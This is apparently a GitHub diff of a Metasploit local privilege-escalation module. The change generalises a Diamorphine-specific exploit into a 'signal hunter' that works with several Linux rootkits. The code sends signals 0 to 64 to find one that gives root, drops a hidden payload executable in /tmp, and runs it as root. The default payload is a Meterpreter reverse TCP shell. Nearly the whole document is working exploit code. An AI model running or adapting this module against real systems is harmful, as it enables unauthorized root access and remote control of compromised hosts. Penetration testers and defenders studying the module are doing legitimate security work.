|
4 | 4 | ## |
5 | 5 |
|
6 | 6 | class MetasploitModule < Msf::Exploit::Local |
7 | | - Rank = ExcellentRanking |
| 7 | + Rank = GreatRanking |
8 | 8 |
|
9 | 9 | include Msf::Post::File |
10 | 10 | include Msf::Post::Linux::Priv |
11 | 11 | include Msf::Post::Linux::System |
12 | 12 | include Msf::Exploit::EXE |
13 | 13 | include Msf::Exploit::FileDropper |
14 | | - prepend Msf::Exploit::Remote::AutoCheck |
| 14 | + include Msf::Exploit::Deprecated |
| 15 | + |
| 16 | + moved_from 'exploit/linux/local/diamorphine_rootkit_signal_priv_esc' |
15 | 17 |
|
16 | 18 | def initialize(info = {}) |
17 | 19 | super( |
18 | 20 | update_info( |
19 | 21 | info, |
20 | | - 'Name' => 'Diamorphine Rootkit Signal Privilege Escalation', |
| 22 | + 'Name' => 'Rootkit Privilege Escalation Signal Hunter', |
21 | 23 | 'Description' => %q{ |
22 | | - This module uses Diamorphine rootkit's privesc feature using signal |
23 | | - 64 to elevate the privileges of arbitrary processes to UID 0 (root). |
| 24 | + This module searches for rootkits which use signals to elevate |
| 25 | + process privileges to UID 0 (root). |
| 26 | +
|
| 27 | + Some rootkits install signal handlers which listen for specific |
| 28 | + signals to elevate process privileges. This module identifies these |
| 29 | + rootkits by sending signals and observing UID switching to root. |
| 30 | +
|
| 31 | + This module has been tested successfully with: |
24 | 32 |
|
25 | | - This module has been tested successfully with Diamorphine from `master` |
26 | | - branch (2019-10-04) on Linux Mint 19 kernel 4.15.0-20-generic (x64). |
| 33 | + Singularity 5b6c4b6 (2025-10-19) on Ubuntu 24.04 |
| 34 | + kernel 6.14.0-33-generic (x64); |
| 35 | + Diamorphine 2337293 (2023-09-20) on Ubuntu 22.04 |
| 36 | + kernel 5.19.0-38-generic (x64). |
27 | 37 | }, |
28 | 38 | 'License' => MSF_LICENSE, |
29 | | - 'Author' => [ |
30 | | - 'm0nad', # Diamorphine |
31 | | - 'bcoles' # Metasploit |
32 | | - ], |
| 39 | + 'Author' => 'bcoles', |
| 40 | + # Diamorphine rootkit first publicly documented use of signals for process privesc? |
33 | 41 | 'DisclosureDate' => '2013-11-07', # Diamorphine first public commit |
34 | 42 | 'References' => [ |
35 | | - ['URL', 'https://github.com/m0nad/Diamorphine'] |
| 43 | + ['URL', 'https://github.com/bcoles/rootkit-signal-hunter'], |
| 44 | + ['URL', 'https://xcellerator.github.io/posts/linux_rootkits_03/'], |
| 45 | + ['URL', 'https://github.com/m0nad/Diamorphine'], |
| 46 | + ['URL', 'https://github.com/h3xduck/Umbra'], |
| 47 | + ['URL', 'https://github.com/MatheuZSecurity/Singularity'], |
| 48 | + ['URL', 'https://github.com/Asekon/RootKit'], |
36 | 49 | ], |
37 | 50 | 'Platform' => ['linux'], |
38 | | - 'Arch' => [ARCH_X86, ARCH_X64], |
| 51 | + 'Arch' => [ |
| 52 | + ARCH_X86, |
| 53 | + ARCH_X64, |
| 54 | + ARCH_ARMLE, |
| 55 | + ARCH_AARCH64, |
| 56 | + ARCH_RISCV64LE, |
| 57 | + ARCH_RISCV32LE, |
| 58 | + ARCH_PPC, |
| 59 | + ARCH_MIPSLE, |
| 60 | + ARCH_MIPSBE |
| 61 | + ], |
39 | 62 | 'SessionTypes' => ['shell', 'meterpreter'], |
40 | 63 | 'Targets' => [['Auto', {}]], |
41 | 64 | 'Notes' => { |
42 | 65 | 'Reliability' => [ REPEATABLE_SESSION ], |
43 | | - 'Stability' => [ CRASH_SAFE ], |
44 | | - 'SideEffects' => UNKNOWN_SIDE_EFFECTS |
| 66 | + 'Stability' => [ |
| 67 | + CRASH_OS_DOWN, # Poorly designed rootkits may crash |
| 68 | + ], |
| 69 | + 'SideEffects' => [ |
| 70 | + ARTIFACTS_ON_DISK, |
| 71 | + SCREEN_EFFECTS, # Killing processes may spawn crash handler windows |
| 72 | + ] |
45 | 73 | }, |
| 74 | + 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }, |
46 | 75 | 'DefaultTarget' => 0 |
47 | 76 | ) |
48 | 77 | ) |
49 | | - register_options [ |
50 | | - OptInt.new('SIGNAL', [true, 'Diamorphine elevate signal', 64]) |
51 | | - ] |
52 | | - register_advanced_options [ |
| 78 | + register_options([ |
| 79 | + OptInt.new('MIN_SIGNAL', [true, 'Start at signal', 0]), |
| 80 | + OptInt.new('MAX_SIGNAL', [true, 'Stop at signal', 64]), |
| 81 | + OptString.new('PID', [true, 'Process ID to send signals to ("new" to spawn a new process)', 'new']) |
| 82 | + ]) |
| 83 | + register_advanced_options([ |
53 | 84 | OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) |
54 | | - ] |
55 | | - end |
56 | | - |
57 | | - def signal |
58 | | - datastore['SIGNAL'].to_s |
| 85 | + ]) |
59 | 86 | end |
60 | 87 |
|
61 | 88 | def base_dir |
62 | 89 | datastore['WritableDir'].to_s |
63 | 90 | end |
64 | 91 |
|
65 | | - def upload_and_chmodx(path, data) |
66 | | - print_status "Writing '#{path}' (#{data.size} bytes) ..." |
67 | | - write_file path, data |
68 | | - chmod path, 0755 |
69 | | - end |
| 92 | + def cmd_exec_elevated(signal, cmd, pid) |
| 93 | + vprint_status("Executing '#{cmd}' with signal #{signal} (PID: #{pid}) ...") |
| 94 | + |
| 95 | + # NOTE: cleanup of hung processes will fail on non-POSIX shells (ie, fish) |
| 96 | + # due to using "$!" which is not supported |
| 97 | + res = cmd_exec( |
| 98 | + %(sh -c 'kill -#{signal} #{pid}; #{cmd}' 2>/dev/null & pid=$!; sleep 0.1; kill -CONT "$pid" 2>/dev/null; wait "$pid"), |
| 99 | + nil, |
| 100 | + 5 |
| 101 | + ).to_s |
| 102 | + vprint_line(res) unless res.blank? |
70 | 103 |
|
71 | | - def cmd_exec_elevated(cmd) |
72 | | - vprint_status "Executing #{cmd} ..." |
73 | | - res = cmd_exec("sh -c 'kill -#{signal} $$ && #{cmd}'").to_s |
74 | | - vprint_line res unless res.blank? |
75 | 104 | res |
76 | 105 | end |
77 | 106 |
|
78 | 107 | def check |
79 | | - res = cmd_exec_elevated 'id' |
| 108 | + return CheckCode::Unknown('Session already has root privileges') if is_root? |
| 109 | + |
| 110 | + # NOTE: this will fail on non-POSIX shells (ie, fish) |
| 111 | + # due to using "$$" which is not supported |
| 112 | + pid = datastore['PID'].downcase == 'new' ? '\$$' : datastore['PID'] |
| 113 | + |
| 114 | + # Iterate from MIN to MAX sending each signal to PID. |
| 115 | + # |
| 116 | + # SIGCONT if the process hangs. |
| 117 | + # Note: cleanup of hung processes will fail on non-POSIX shells (ie, fish) |
| 118 | + # due to using "$!" which is not supported |
| 119 | + cmd = [ |
| 120 | + "i=#{datastore['MIN_SIGNAL']}", |
| 121 | + %(while [ "$i" -le #{datastore['MAX_SIGNAL']} ]), |
| 122 | + %(do sh -c "kill -$i #{pid}; id" 2>/dev/null & pid=$!), |
| 123 | + 'sleep 0.1; kill -CONT "$pid" 2>/dev/null', |
| 124 | + 'wait "$pid"', |
| 125 | + 'i=$((i + 1))', |
| 126 | + 'done 2>/dev/null' |
| 127 | + ].join('; ') |
| 128 | + |
| 129 | + res = cmd_exec( |
| 130 | + cmd, |
| 131 | + nil, |
| 132 | + 60 |
| 133 | + ) |
| 134 | + vprint_line(res) unless res.blank? |
80 | 135 |
|
81 | | - if res.include?('invalid signal') |
82 | | - return CheckCode::Safe("Signal '#{signal}' is invalid") |
83 | | - end |
| 136 | + return CheckCode::Safe('No rootkits detected') unless res.to_s.include?('uid=0') |
| 137 | + |
| 138 | + CheckCode::Vulnerable('Rootkit(s) are installed and configured to elevate privileges for signals.') |
| 139 | + end |
84 | 140 |
|
85 | | - unless res.include?('uid=0') |
86 | | - return CheckCode::Safe("Diamorphine is not installed, or incorrect signal '#{signal}'") |
| 141 | + # @return Array of signals which can be used to elevate privileges to root |
| 142 | + def brute_signals(min, max, pid) |
| 143 | + print_status("Trying signals #{min} to #{max} (PID: #{pid}) ...") |
| 144 | + signals = [] |
| 145 | + |
| 146 | + (min..max).each do |signal| |
| 147 | + signals << signal if cmd_exec_elevated(signal, 'id', pid).to_s.include?('uid=0') |
87 | 148 | end |
88 | 149 |
|
89 | | - CheckCode::Vulnerable("Diamorphine is installed and configured to handle signal '#{signal}'.") |
| 150 | + signals |
90 | 151 | end |
91 | 152 |
|
92 | 153 | def exploit |
93 | | - if !datastore['ForceExploit'] && is_root? |
94 | | - fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.') |
95 | | - end |
| 154 | + fail_with(Failure::BadConfig, 'Session already has root privileges.') if is_root? |
| 155 | + fail_with(Failure::BadConfig, "Start signal (#{datastore['MIN_SIGNAL']}) is greater than stop signal (#{datastore['MAX_SIGNAL']}); nothing to iterate.") if datastore['MIN_SIGNAL'] > datastore['MAX_SIGNAL'] |
| 156 | + fail_with(Failure::BadConfig, "#{base_dir} is not writable") unless writable?(base_dir) |
| 157 | + |
| 158 | + pid = datastore['PID'].downcase == 'new' ? '$$' : datastore['PID'] |
| 159 | + signals = brute_signals( |
| 160 | + datastore['MIN_SIGNAL'], |
| 161 | + datastore['MAX_SIGNAL'], |
| 162 | + pid |
| 163 | + ) |
96 | 164 |
|
97 | | - unless writable? base_dir |
98 | | - fail_with Failure::BadConfig, "#{base_dir} is not writable" |
99 | | - end |
| 165 | + fail_with(Failure::NotVulnerable, 'No rootkits detected') if signals.blank? |
100 | 166 |
|
101 | | - payload_name = ".#{rand_text_alphanumeric 8..12}" |
102 | | - payload_path = "#{base_dir}/#{payload_name}" |
103 | | - upload_and_chmodx payload_path, generate_payload_exe |
104 | | - register_file_for_cleanup payload_path |
| 167 | + print_good("Found #{signals.size} signals for privilege escalation (#{signals.join(', ')}).") |
105 | 168 |
|
106 | | - cmd_exec_elevated "#{payload_path} & echo " |
| 169 | + payload_name = ".#{rand_text_alphanumeric(8..12)}" |
| 170 | + payload_path = "#{base_dir}/#{payload_name}" |
| 171 | + payload_data = generate_payload_exe |
| 172 | + print_status("Writing '#{payload_path}' (#{payload_data.size} bytes) ...") |
| 173 | + write_file(payload_path, payload_data) |
| 174 | + chmod(payload_path, 0o755) |
| 175 | + register_file_for_cleanup(payload_path) |
| 176 | + |
| 177 | + signals.each do |signal| |
| 178 | + print_status("Trying signal #{signal} ...") |
| 179 | + cmd_exec_elevated(signal, "#{payload_path} & echo ", pid) |
| 180 | + sleep(5) |
| 181 | + break if session_created? |
| 182 | + end |
107 | 183 | end |
108 | 184 | end |
0 commit comments